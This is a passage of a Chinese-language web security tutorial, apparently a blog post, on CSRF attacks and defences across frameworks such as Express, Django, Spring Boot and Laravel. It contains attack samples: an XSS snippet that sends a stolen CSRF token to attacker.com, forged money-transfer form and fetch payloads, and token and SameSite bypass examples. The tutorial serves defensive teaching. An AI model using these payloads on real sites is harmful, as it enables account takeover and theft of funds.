# tester.login("test_user", "password")
# 测试关键页面
tester.test_forms_for_csrf_tokens(f"{base_url}/profile")
tester.test_forms_for_csrf_tokens(f"{base_url}/settings")
# 测试Cookie设置
tester.test_cookies_for_samesite()
# 测试Referer验证
# tester.test_referer_validation(f"{base_url}/api/update-profile", {"name": "Test"})
# 生成报告
tester.generate_report(output_file)CSRF和XSS漏洞经常被一起利用,形成更强大的攻击。
XSS漏洞可以用来绕过CSRF防御,主要通过以下方式:
XSS可以用来窃取页面中的CSRF Token,然后用于CSRF攻击:
// XSS攻击代码,窃取CSRF Token
const csrfToken = document.querySelector('input[name="csrf_token"]').value;
// 将Token发送到攻击者的服务器
const img = new Image();
img.src = `https://attacker.com/steal?token=${encodeURIComponent(csrfToken)}`;
// 然后使用窃取的Token发起CSRF攻击
function performCsrfWithStolenToken(token) {
const form = document.createElement('form');
form.method = 'POST';
form.action = '/transfer-money';
const amountInput = document.createElement('input');
amountInput.type = 'hidden';
amountInput.name = 'amount';
amountInput.value = '1000';
const targetInput = document.createElement('input');
targetInput.type = 'hidden';
targetInput.name = 'target_account';
targetInput.value = 'attacker123';
const tokenInput = document.createElement('input');
tokenInput.type = 'hidden';
tokenInput.name = 'csrf_token';
tokenInput.value = token;
form.appendChild(amountInput);
form.appendChild(targetInput);
form.appendChild(tokenInput);
document.body.appendChild(form);
form.submit();
}
// 调用攻击函数
performCsrfWithStolenToken(csrfToken);XSS允许攻击者直接在受害页面执行JavaScript,绕过同源策略的限制:
// XSS攻击代码,直接执行操作而不需要CSRF Token
fetch('/api/transfer-money', {
method: 'POST',
credentials: 'same-origin', // 自动包含Cookie
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: 1000,
target_account: 'attacker123'
})
});防御CSRF和XSS协同攻击需要同时解决两种漏洞:
实施严格的内容安全策略(CSP):
# Nginx配置示例
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;使用HttpOnly Cookie:
// Express配置示例
app.use(session({
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict'
}
}));实施XSS过滤和输入验证:
// 使用DOMPurify进行HTML净化
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
function sanitizeUserInput(input) {
return DOMPurify.sanitize(input);
}CSRF攻击与会话管理机制密切相关。
会话固定漏洞可以被用来加强CSRF攻击:
// 会话固定攻击与CSRF结合
// 1. 攻击者获取一个有效的会话ID
fetch('https://example.com/generate-session')
.then(response => response.json())
.then(data => {
const sessionId = data.session_id;
// 2. 诱导用户使用攻击者控制的会话
const link = `https://example.com/login?session_id=${sessionId}`;
// 将链接发送给用户
// 3. 用户登录后,攻击者使用相同的会话发起CSRF攻击
setTimeout(() => {
// 由于会话已被用户验证,CSRF攻击更可能成功
performCsrfAttack(sessionId);
}, 60000); // 等待用户登录
});// Express中安全的会话配置
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const redisClient = require('./redis');
app.use(session({
name: 'sessionId', // 使用不明显的Cookie名称
store: new RedisStore({ client: redisClient }), // 使用Redis存储会话
secret: process.env.SESSION_SECRET, // 使用环境变量存储密钥
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // 防止JavaScript访问
secure: process.env.NODE_ENV === 'production', // 仅HTTPS
sameSite: 'strict', // 防止CSRF
maxAge: 3600000, // 1小时过期
domain: '.example.com' // 适当的域设置
}
}));
// 登录成功后重新生成会话ID,防止会话固定
app.post('/login', (req, res) => {
// 验证用户凭据
if (validCredentials(req.body.username, req.body.password)) {
// 销毁旧会话
req.session.destroy(() => {
// 创建新会话
req.session.regenerate(() => {
// 设置用户信息
req.session.user = { id: userId, name: username };
req.session.loggedIn = true;
res.redirect('/dashboard');
});
});
} else {
res.status(401).send('用户名或密码错误');
}
});CORS(跨域资源共享)配置不当可能影响CSRF防御的有效性。
过于宽松的CORS配置可能允许跨域请求携带凭证,从而绕过CSRF防御:
// 危险的CORS配置
app.use(cors({
origin: '*', // 允许任何来源
credentials: true // 允许携带凭证
}));// 安全的CORS配置
const allowedOrigins = [
'https://www.example.com',
'https://api.example.com',
'https://cdn.example.com'
];
app.use(cors({
origin: (origin, callback) => {
// 允许不带Origin的请求(如某些GET请求)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('不允许的跨域请求'), false);
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
optionsSuccessStatus: 200,
maxAge: 86400 // 预检请求缓存24小时
}));
// 结合CSRF保护使用
app.use(csrfProtection);
// API路由
app.post('/api/profile', (req, res) => {
// 处理请求,CSRF Token已被验证
res.json({ success: true });
});随着Web技术的发展,新的CSRF防御技术不断涌现。
使用机器学习和行为分析来检测异常的请求模式:
# 基于机器学习的CSRF检测示例(伪代码)
from sklearn.ensemble import RandomForestClassifier
import numpy as np
class CsrfDetector:
def __init__(self):
self.model = RandomForestClassifier(n_estimators=100)
self.is_trained = False
def extract_features(self, request):
"""从HTTP请求中提取特征"""
features = []
# 提取时间相关特征
request_time = request['timestamp']
hour_of_day = request_time.hour
# 提取用户行为特征
user_id = request['user_id']
action_type = request['action_type']
# 提取请求特征
referer_present = 1 if 'referer' in request['headers'] else 0
origin_present = 1 if 'origin' in request['headers'] else 0
# 特征工程(示例)
features = [
hour_of_day,
referer_present,
origin_present,
# ... 更多特征
]
return np.array(features).reshape(1, -1)
def predict(self, request):
"""预测请求是否为CSRF攻击"""
if not self.is_trained:
return False # 默认不阻止
features = self.extract_features(request)
prediction = self.model.predict(features)
return prediction[0] == 1 # 1表示可能是CSRF攻击使用设备指纹技术来识别合法用户:
// 前端设备指纹采集
async function collectDeviceFingerprint() {
const fingerprint = {
userAgent: navigator.userAgent,
screenSize: `${screen.width}x${screen.height}`,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
languages: navigator.languages.join(','),
plugins: Array.from(navigator.plugins).map(p => p.name).join(','),
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
// 使用Canvas指纹
canvasFingerprint: await generateCanvasFingerprint()
};
return fingerprint;
}
// 生成Canvas指纹
async function generateCanvasFingerprint() {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
// 绘制一些内容
ctx.font = '14px Arial';
ctx.fillText('Canvas fingerprint', 10, 20);
// 添加一些随机性
ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
ctx.fillRect(0, 0, 10, 10);
// 获取数据URL作为指纹
return canvas.toDataURL('image/png');
}
// 将设备指纹与CSRF Token结合使用
async function secureRequest(url, data) {
const csrfToken = document.querySelector('input[name="csrf_token"]').value;
const deviceFingerprint = await collectDeviceFingerprint();
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
'X-Device-Fingerprint': btoa(JSON.stringify(deviceFingerprint))
},
credentials: 'include',
body: JSON.stringify(data)
});
}浏览器厂商正在不断增强内置的安全机制,以更好地防御CSRF攻击。
从Chrome 80开始,SameSite=Lax成为Cookie的默认值,这大大提高了Web应用的安全性:
// 现代浏览器默认行为(SameSite=Lax)
document.cookie = 'sessionid=abc123; path=/; Secure';
// 等价于
document.cookie = 'sessionid=abc123; path=/; Secure; SameSite=Lax';
// 显式设置不同的值
// 严格模式:完全禁止跨站请求携带Cookie
document.cookie = 'critical_data=xyz789; path=/; Secure; SameSite=Strict';
// 无限制:允许跨站请求携带Cookie(需要配合Secure使用)
document.cookie = 'shared_data=123abc; path=/; Secure; SameSite=None';浏览器还提供了其他安全机制来防御CSRF攻击:
<!-- 页面头部设置安全策略 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; form-action 'self';">
<meta name="referrer" content="strict-origin-when-cross-origin">随着Web技术的演进,CSRF防御也在不断发展。
未来可能会出现更多基于密码学的CSRF防御方案,如使用签名请求:
// 基于密码学的请求签名(前端)
async function signRequest(url, method, data) {
// 获取用户私钥(示例,实际应用中需要更安全的密钥管理)
const userPrivateKey = await getUserPrivateKey();
// 构建消息:URL + 方法 + 数据哈希
const message = url + method + JSON.stringify(data);
const messageDigest = await digestMessage(message);
// 使用私钥签名
const signature = await signWithPrivateKey(userPrivateKey, messageDigest);
// 发送请求
return fetch(url, {
method,
headers: {
'Content-Type': 'application/json',
'X-Request-Signature': signature,
'X-Request-Timestamp': Date.now().toString()
},
body: JSON.stringify(data)
});
}区块链技术可以提供不可篡改的验证机制:
// 基于区块链的CSRF防御概念(伪代码)
async function blockchainVerifiedRequest(url, data) {
// 获取用户钱包
const wallet = await getWallet();
// 创建操作交易
const operationData = {
userId: wallet.address,
timestamp: Date.now(),
action: data.action,
params: data.params
};
// 对交易签名
const signedOperation = await wallet.signMessage(JSON.stringify(operationData));
// 发送到区块链验证服务
const verificationResult = await fetch('/api/blockchain/verify', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
operation: operationData,
signature: signedOperation
})
}).then(r => r.json());
// 如果验证通过,发送实际请求
if (verificationResult.verified) {
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Blockchain-Verification': verificationResult.transactionId
},
body: JSON.stringify(data)
});
}
}分析主流网站如何实现CSRF防御。
GitHub采用了多层次的CSRF防御策略:
阿里巴巴的CSRF防御实践包括:
通过分析真实的CSRF攻击案例,了解攻击者的思路和防御的重要性。
案例背景:某社交媒体平台因CSRF漏洞导致用户账户被接管。
攻击过程:
防御措施:
案例背景:某银行网站因CSRF防御不足,导致用户资金被盗。
攻击过程:
防御措施:
总结企业环境下的CSRF防御最佳实践。
将CSRF防御集成到企业开发流程中:
建立CSRF攻击的监控和应急响应机制:
// 安全监控系统集成(示例)
const monitoringSystem = {
// 记录CSRF验证失败
logCsrfFailure(req, reason) {
const logEntry = {
timestamp: new Date().toISOString(),
eventType: 'CSRF_FAILURE',
userId: req.session?.user?.id || 'anonymous',
ip: req.ip,
path: req.path,
method: req.method,
reason,
headers: {
referer: req.headers.referer,
userAgent: req.headers['user-agent']
}
};
// 发送到日志系统
console.log(JSON.stringify(logEntry));
// 检查是否需要触发警报
if (this.shouldTriggerAlert(logEntry)) {
this.triggerAlert(logEntry);
}
},
// 判断是否需要触发警报
shouldTriggerAlert(logEntry) {
// 基于规则判断,如短时间内多次失败
return true; // 示例
},
// 触发安全警报
triggerAlert(logEntry) {
// 发送邮件、短信或集成到安全响应平台
console.log('SECURITY ALERT:', logEntry.eventType, logEntry.reason);
}
};
// 集成到Express应用
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
monitoringSystem.logCsrfFailure(req, '无效的CSRF Token');
return res.status(403).send('安全验证失败,请刷新页面重试');
}
next(err);
});总结CSRF防御的核心要点:
CSRF防御核心策略
├── 多层次防御策略
│ ├── CSRF Token验证
│ ├── SameSite Cookie
│ ├── Referer/Origin验证
│ └── 敏感操作二次验证
├── 防御实现要素
│ ├── Token随机性与唯一性
│ ├── Token绑定用户会话
│ ├── 安全的Token传输
│ └── 严格的Token验证
├── 架构集成
│ ├── 前后端框架适配
│ ├── CI/CD流程集成
│ └── 安全监控系统集成
└── 运维保障
├── 定期安全审查
├── 实时攻击监控
└── 应急响应预案推荐一些深入学习CSRF和Web安全的资源:
Web安全是一个不断发展的领域,需要持续学习和实践:
学习路径 → 实践 → 分享 → 进阶
↓ ↓ ↓ ↑
理论知识 → 实验环境 → 解决问题 → 反馈通过本章的学习,我们已经全面了解了CSRF攻击的原理、防御技术和最佳实践。在实际开发中,应始终将安全放在首位,采用多层次的防御策略,确保Web应用的安全性。记住,安全是一个持续的过程,需要不断学习和改进。
互动问题:你在项目中是如何实施CSRF防御的?遇到了哪些挑战?欢迎在评论区分享你的经验和想法!
分享鼓励:如果你觉得这篇文章对你有帮助,请点赞、分享并关注作者,获取更多Web安全实战内容!
在不同的Web服务器和编程语言中,设置SameSite Cookie的方法如下:
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure; HttpOnlyres.cookie('sessionId', 'abc123', {
sameSite: 'lax',
secure: true,
httpOnly: true
});session_set_cookie_params([
'samesite' => 'Lax',
'secure' => true,
'httponly' => true
]);
session_start();Cookie cookie = new Cookie("sessionId", "abc123");
cookie.setSameSite("Lax");
cookie.setSecure(true);
cookie.setHttpOnly(true);
response.addCookie(cookie);虽然SameSite Cookie属性是一种有效的防御机制,但也存在一些局限性:
验证HTTP请求的Referer或Origin头是防御CSRF攻击的另一种有效方法。
在服务器端实现Referer/Origin头验证的方法如下:
app.post('/transfer', (req, res) => {
const referer = req.headers.referer;
const origin = req.headers.origin;
const allowedDomain = 'https://example.com';
// 检查Referer或Origin头是否来自允许的域名
if (!referer || !referer.startsWith(allowedDomain)) {
if (!origin || !origin.startsWith(allowedDomain)) {
return res.status(403).send('CSRF protection: Invalid request origin');
}
}
// 继续处理请求...
});function validateRequestOrigin() {
$allowedDomain = 'https://example.com';
// 检查Referer头
if (isset($_SERVER['HTTP_REFERER'])) {
if (strpos($_SERVER['HTTP_REFERER'], $allowedDomain) !== 0) {
// 检查Origin头
if (!isset($_SERVER['HTTP_ORIGIN']) ||
strpos($_SERVER['HTTP_ORIGIN'], $allowedDomain) !== 0) {
header('HTTP/1.1 403 Forbidden');
die('CSRF protection: Invalid request origin');
}
}
} else if (!isset($_SERVER['HTTP_ORIGIN']) ||
strpos($_SERVER['HTTP_ORIGIN'], $allowedDomain) !== 0) {
header('HTTP/1.1 403 Forbidden');
die('CSRF protection: Invalid request origin');
}
return true;
}
// 在敏感操作前调用
validateRequestOrigin();在实施Referer/Origin头验证时,需要注意以下几点:
双重提交防护是一种结合了Cookie和请求参数的CSRF防御机制。
// 从Cookie中获取Token
function getCookieToken() {
const cookieValue = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
return cookieValue ? decodeURIComponent(cookieValue) : null;
}
// 在AJAX请求中使用双重提交防护
function submitSecureRequest(url, data) {
const token = getCookieToken();
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token // 在请求头中也包含Token
},
credentials: 'same-origin', // 确保Cookie被发送
body: JSON.stringify({
...data,
csrf_token: token // 在请求体中包含Token
})
});
}const crypto = require('crypto');
// 生成CSRF Token
function generateCsrfToken() {
return crypto.randomBytes(32).toString('hex');
}
// 中间件:设置CSRF Token Cookie
app.use((req, res, next) => {
if (!req.cookies.csrf_token) {
const token = generateCsrfToken();
res.cookie('csrf_token', token, {
httpOnly: false, // 允许JavaScript读取(双重提交需要)
secure: true,
sameSite: 'lax'
});
}
next();
});
// 中间件:验证CSRF Token
function validateCsrfToken(req, res, next) {
const cookieToken = req.cookies.csrf_token;
const bodyToken = req.body.csrf_token;
const headerToken = req.headers['x-csrf-token'];
// 检查Cookie中的Token是否存在
if (!cookieToken) {
return res.status(403).send('CSRF token not found in cookie');
}
// 检查请求体或请求头中的Token是否存在且与Cookie中的Token匹配
if ((!bodyToken || bodyToken !== cookieToken) &&
(!headerToken || headerToken !== cookieToken)) {
return res.status(403).send('CSRF token validation failed');
}
next();
}
// 应用CSRF验证中间件到敏感路由
app.post('/sensitive-action', validateCsrfToken, (req, res) => {
// 处理敏感操作...
res.send('操作成功');
});优点:
缺点:
对于高风险操作,实施多因素认证或二次验证是防御CSRF攻击的有效补充措施。
以下是一些适合实施二次验证的高风险操作场景:
<form action="/change-password" method="POST">
<input type="hidden" name="csrf_token" value="a1b2c3d4e5f6">
<div>
<label for="currentPassword">当前密码:</label>
<input type="password" id="currentPassword" name="currentPassword" required>
</div>
<div>
<label for="newPassword">新密码:</label>
<input type="password" id="newPassword" name="newPassword" required>
</div>
<input type="submit" value="确认修改">
</form>// 发送验证码
function sendVerificationCode() {
fetch('/send-code', {
method: 'POST',
headers: {
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').getAttribute('content')
}
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert('验证码已发送');
startCountdown(); // 开始倒计时
}
});
}
// 提交表单时包含验证码
function submitWithVerificationCode(form) {
const code = document.getElementById('verificationCode').value;
if (!code) {
alert('请输入验证码');
return false;
}
// 验证码已在表单中通过隐藏字段提交
return true;
}尽管CSRF Token是有效的防御机制,但如果实现不当,仍可能被攻击者绕过。
漏洞描述:有些应用在整个会话中使用同一个CSRF Token,或者没有正确更新Token。
绕过方法:
防御建议:
漏洞描述:服务器端对Token的验证不严格,存在逻辑漏洞。
常见漏洞场景:
绕过示例:
假设服务器端验证代码存在以下缺陷:
// 有缺陷的验证代码
function validateCsrfToken($token) {
if ($token == 'test' || empty($token)) { // 逻辑错误:空Token被接受
return true;
}
return $_SESSION['csrf_token'] === $token;
}攻击者可以通过发送空的Token来绕过验证:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value=""> <!-- 空Token -->
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>防御建议:
漏洞描述:Token通过不安全的方式传输,导致可能被泄露或篡改。
常见问题:
绕过方法:
防御建议:
尽管SameSite Cookie属性可以有效防御CSRF攻击,但在某些情况下仍可能被绕过。
漏洞描述:设置了SameSite=None但未同时设置Secure属性,或者在HTTP环境中使用。
绕过方法:
防御建议:
漏洞描述:利用SameSite=Lax在GET请求中的特殊性进行绕过。
绕过方法:
绕过示例:
如果应用同时支持GET和POST方式的敏感操作,攻击者可以构造如下链接:
<a href="https://bank.example.com/transfer?to=attacker&amount=10000">查看重要通知</a>当用户点击该链接时,由于是GET请求且用户主动交互,SameSite=Lax可能允许Cookie发送。
防御建议:
漏洞描述:不同浏览器对SameSite的实现存在差异,或旧版本浏览器不支持该属性。
绕过方法:
防御建议:
Referer和Origin头验证如果实现不当,也可能被攻击者绕过。
漏洞描述:某些服务器端验证逻辑过于简单,只检查Referer头是否包含特定字符串。
绕过方法:
绕过示例:
如果服务器只检查Referer是否包含"example.com",攻击者可以注册域名如"example.com.attacker.com",并从该域名发起攻击。
防御建议:
漏洞描述:服务器端对Origin头的验证逻辑存在缺陷。
常见问题:
绕过方法:
防御建议:
攻击者经常结合多种漏洞技术进行复杂的CSRF攻击绕过。
XSS漏洞可以轻松绕过大多数CSRF防御机制,因为攻击者可以直接在受害页面上执行JavaScript,获取CSRF Token或直接操作DOM提交请求。
攻击示例:
// 利用XSS漏洞获取CSRF Token并执行操作
const token = document.querySelector('input[name="csrf_token"]').value;
// 创建表单并自动提交
const form = document.createElement('form');
form.action = '/transfer';
form.method = 'POST';
form.style.display = 'none';
const tokenInput = document.createElement('input');
tokenInput.type = 'hidden';
tokenInput.name = 'csrf_token';
tokenInput.value = token;
const toInput = document.createElement('input');
toInput.type = 'hidden';
toInput.name = 'to';
toInput.value = 'attacker';
const amountInput = document.createElement('input');
amountInput.type = 'hidden';
amountInput.name = 'amount';
amountInput.value = '10000';
form.appendChild(tokenInput);
form.appendChild(toInput);
form.appendChild(amountInput);
document.body.appendChild(form);
form.submit();防御建议:
如果目标网站的CORS(跨源资源共享)配置过于宽松,攻击者可能利用这一点发起CSRF攻击。
攻击场景:
*)防御建议:
点击劫持(Clickjacking)可以与CSRF结合,诱导用户在不知情的情况下点击执行恶意操作。
攻击过程:
防御建议:
Spring Boot是Java生态系统中流行的Web框架,提供了内置的CSRF防御机制。
在Spring Boot 3.x中,CSRF保护默认是启用的,可以通过以下方式进行配置:
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;
@Configuration
@EnableWebSecurity
public class WebSecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringRequestMatchers("/api/public/**") // 排除不需要CSRF保护的公开API
)
.authorizeHttpRequests(authorize -> authorize
.requestMatchers("/api/public/**").permitAll()
.anyRequest().authenticated()
);
return http.build();
}
}Spring Boot与Thymeleaf模板引擎集成,可以自动包含CSRF Token:
<!-- 表单自动包含CSRF Token -->
<form th:action="@{/transfer}" method="post">
<div>
<label for="amount">转账金额:</label>
<input type="text" id="amount" name="amount" required>
</div>
<div>
<label for="recipient">收款人:</label>
<input type="text" id="recipient" name="recipient" required>
</div>
<button type="submit">确认转账</button>
</form>
<!-- 手动获取CSRF Token用于AJAX请求 -->
<script th:inline="javascript">
/*<![CDATA[*/
const csrfToken = /*[[${_csrf.token}]]*/ '';
const csrfHeader = /*[[${_csrf.headerName}]]*/ '';
// 在AJAX请求中使用
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
[csrfHeader]: csrfToken
},
body: JSON.stringify({ amount: 100, recipient: 'user123' })
});
/*]]>*/
</script>Django作为Python生态系统中最流行的Web框架,也提供了强大的CSRF防御机制。
Django的CSRF保护通过中间件实现,默认在settings.py中启用:
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware', # CSRF保护中间件
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]可以在settings.py中配置CSRF相关选项:
# CSRF Cookie配置
CSRF_COOKIE_SECURE = True # 仅通过HTTPS发送Cookie
CSRF_COOKIE_HTTPONLY = True # 防止JavaScript访问
CSRF_COOKIE_SAMESITE = 'Lax' # 设置SameSite属性
CSRF_TRUSTED_ORIGINS = ['https://example.com'] # 信任的来源在Django模板中,可以使用{% csrf_token %}标签包含CSRF Token:
<form method="post">
{% csrf_token %}
{{ form.as_p }}
<button type="submit">提交</button>
</form>
<!-- 用于AJAX请求 -->
<script>
const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value;
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRFToken': csrftoken
},
body: JSON.stringify({ amount: 100, recipient: 'user123' })
});
</script>在Django视图中,可以使用装饰器控制CSRF验证:
from django.views.decorators.csrf import csrf_protect, csrf_exempt
from django.http import JsonResponse
# 显式启用CSRF保护(即使在全局禁用的情况下)
@csrf_protect
def protected_view(request):
if request.method == 'POST':
# 处理请求
return JsonResponse({'status': 'success'})
# 为特定视图禁用CSRF保护(谨慎使用)
@csrf_exempt
def public_api(request):
if request.method == 'POST':
# 处理公开API请求
return JsonResponse({'status': 'success'})csrf_exempt装饰器时要谨慎Express.js作为Node.js生态系统中流行的Web框架,可以通过第三方库实现CSRF防御。
csurf是Express.js中常用的CSRF保护中间件:
const express = require('express');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const session = require('express-session');
const app = express();
// 需要先使用cookie-parser和session中间件
app.use(cookieParser());
app.use(session({
secret: 'your-secret-key',
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'lax'
}
}));
// 配置CSRF保护
const csrfProtection = csrf({
cookie: {
secure: true,
httpOnly: true,
sameSite: 'lax'
}
});
// 在视图中传递CSRF Token
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// 保护需要CSRF验证的路由
app.post('/transfer', csrfProtection, (req, res) => {
// 处理转账请求
res.send('转账成功');
});
// 为AJAX请求提供CSRF Token
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});<!-- 在表单中使用 -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<input type="text" name="amount" placeholder="金额">
<input type="text" name="recipient" placeholder="收款人">
<button type="submit">提交</button>
</form>
<!-- 在AJAX请求中使用 -->
<script>
// 先获取CSRF Token
fetch('/api/csrf-token')
.then(response => response.json())
.then(data => {
const csrfToken = data.csrfToken;
// 使用Token发送请求
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken // 或使用X-CSRF-Token头
},
body: JSON.stringify({ amount: 100, recipient: 'user123' })
});
});
</script>Laravel作为PHP生态系统中流行的Web框架,提供了内置的CSRF保护机制。
Laravel的CSRF保护默认启用,可以在app/Http/Middleware/VerifyCsrfToken.php中配置:
namespace App\Http\Middleware;
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;
class VerifyCsrfToken extends Middleware
{
/**
* 不需要CSRF验证的URI
*
* @var array<int, string>
*/
protected $except = [
// 'api/*' // 谨慎使用,只排除真正需要的路由
];
}在config/session.php中可以配置相关的安全设置:
return [
// ...
'same_site' => 'lax',
'secure' => env('SESSION_SECURE_COOKIE', true),
'http_only' => true,
// ...
];在Laravel Blade模板中,可以使用@csrf指令包含CSRF Token:
<form method="POST" action="/transfer">
@csrf
<div>
<label for="amount">转账金额:</label>
<input type="text" id="amount" name="amount" required>
</div>
<div>
<label for="recipient">收款人:</label>
<input type="text" id="recipient" name="recipient" required>
</div>
<button type="submit">确认转账</button>
</form>
<!-- 用于AJAX请求 -->
<script>
const csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': csrfToken
},
body: JSON.stringify({ amount: 100, recipient: 'user123' })
});
</script>Laravel会自动在所有页面的meta标签中包含CSRF Token。
对于API路由,Laravel提供了不同的认证机制,通常不需要CSRF保护:
// routes/api.php
Route::middleware('auth:sanctum')->group(function () {
Route::post('/transfer', [TransferController::class, 'transfer']);
// 其他API路由
});对于需要同时支持Web和API访问的路由,可以这样处理:
use Illuminate\Http\Request;
class TransferController extends Controller
{
public function transfer(Request $request)
{
// 对于Web请求,Laravel中间件会自动验证CSRF Token
// 对于API请求,使用其他认证方式
// 处理转账逻辑
return response()->json(['status' => 'success']);
}
}随着Web技术的发展,CSRF防御机制也在不断演进。以下是2025年CSRF防御的主要趋势:
现代Web应用开始采用基于风险的自适应防御机制,根据用户行为、请求特征和风险评分动态调整CSRF防御级别:
人工智能技术在Web安全领域的应用日益广泛,2025年CSRF防御也开始融入AI元素:
零信任架构(Zero Trust Architecture)理念正在改变传统的CSRF防御模式:
随着量子计算技术的发展,传统加密算法面临挑战,CSRF防御也开始考虑量子安全:
最佳的CSRF防御策略应该是多层深度防护,结合多种机制形成完整的防护体系。
一个完整的多层CSRF防御架构应包括以下层次:
在实施多层防御时,应根据安全性和实施成本考虑优先级:
不同的防御机制之间应该协同工作,相互补充,而不是简单叠加:
以下是一个全面的CSRF防御检查清单,可以帮助开发者系统地评估和改进CSRF防御:
为确保CSRF防御措施得到正确实施,开发团队的安全培训至关重要。
当怀疑存在CSRF漏洞时,需要进行系统性的发现和确认。
一旦发现疑似CSRF漏洞,应按照以下流程进行确认:
CSRF漏洞的严重性评估应考虑以下因素:
根据CVSS(通用漏洞评分系统),CSRF漏洞的严重级别通常为中到高风险。
建立完善的应急响应流程对于有效处理CSRF漏洞至关重要。
应组建一个专门的安全应急响应团队,包括以下角色:
CSRF漏洞的应急响应通常分为以下几个阶段:
在应急响应过程中,有效的沟通至关重要:
针对发现的CSRF漏洞,应采取系统性的修复方案。
在开发正式修复方案之前,可以采取以下临时措施:
长期修复应从根本上解决CSRF漏洞,并防止类似问题再次发生:
修复完成后,需要进行全面的验证测试:
CSRF漏洞修复后,进行事后分析和经验总结对于提高整体安全水平非常重要。
深入分析CSRF漏洞产生的根本原因,可能包括:
从CSRF漏洞事件中总结经验教训,包括:
根据经验教训,系统性地改进防御体系:
基于前面章节的内容,以下是CSRF防御的核心最佳实践总结:
随着Web技术的不断发展,CSRF攻击和防御也在不断演变。以下是2025年的趋势预测:
为了应对未来的挑战,组织应该采取前瞻性的CSRF防御策略。
CSRF攻击虽然历史悠久,但依然是Web安全的重要威胁。构建持久有效的CSRF防御需要技术、流程、人员和管理的全方位投入。
在技术快速发展的今天,安全防御不能一成不变,而应该持续演进。组织应该建立一种安全文化,将安全视为产品和服务的核心价值,而不仅仅是合规要求。通过持续学习、实践和改进,构建能够应对未来挑战的CSRF防御体系。
记住,最佳的安全防御是多层深度防御,单一的防御机制总有可能被绕过。只有结合多种防御手段,形成完整的防御体系,才能真正有效抵御CSRF攻击,保护用户数据和系统安全。